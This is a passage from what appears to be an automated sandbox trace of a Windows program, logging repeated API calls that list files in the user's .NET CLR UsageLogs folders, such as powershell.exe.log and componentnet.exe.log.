ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0xfb55cbfa, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="addinutil.exe.log", cAlternateFileName="ADDINU~1.LOG")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6079694, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6079694, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0xfb55cbfa, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="addinutil.exe.log", cAlternateFileName="ADDINU~1.LOG")) returned 0 [0217.666] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.666] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x36 [0217.666] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.667] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x70f197fc, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x70f197fc, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0217.667] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.668] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x36 [0217.668] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.668] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.668] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x70f197fc, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0217.668] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.668] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.669] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x40 [0217.669] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0xe327cda, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.669] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0xe327cda, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.669] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe327cda, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xe327cda, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xe34de69, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="componentnet.exe.log", cAlternateFileName="COMPON~1.LOG")) returned 1 [0217.670] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd48ca0a1, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0217.670] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f197fc, ftCreationTime.dwHighDateTime=0x1d7b059, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x1cff45b5, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x15dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0217.670] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.670] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.670] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x40 [0217.671] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xe327cda, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xe327cda, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.671] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xe327cda, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xe327cda, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.671] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe327cda, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xe327cda, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xe34de69, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="componentnet.exe.log", cAlternateFileName="COMPON~1.LOG")) returned 1 [0217.671] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd48ca0a1, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0217.671] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f197fc, ftCreationTime.dwHighDateTime=0x1d7b059, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x1cff45b5, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x15dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0217.672] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f197fc, ftCreationTime.dwHighDateTime=0x1d7b059, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x1cff45b5, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x15dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 0 [0217.672] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.672] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x39 [0217.672] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0_32\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.673] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.673] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0217.673] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0217.673] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.674] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x39 [0217.674] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0_32\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.674] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.674] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0217.674] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.675] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.675] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x43 [0217.675] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.675] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.676] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd72a95e3, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x1078, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0217.676] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.676] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.676] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x43 [0217.676] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, 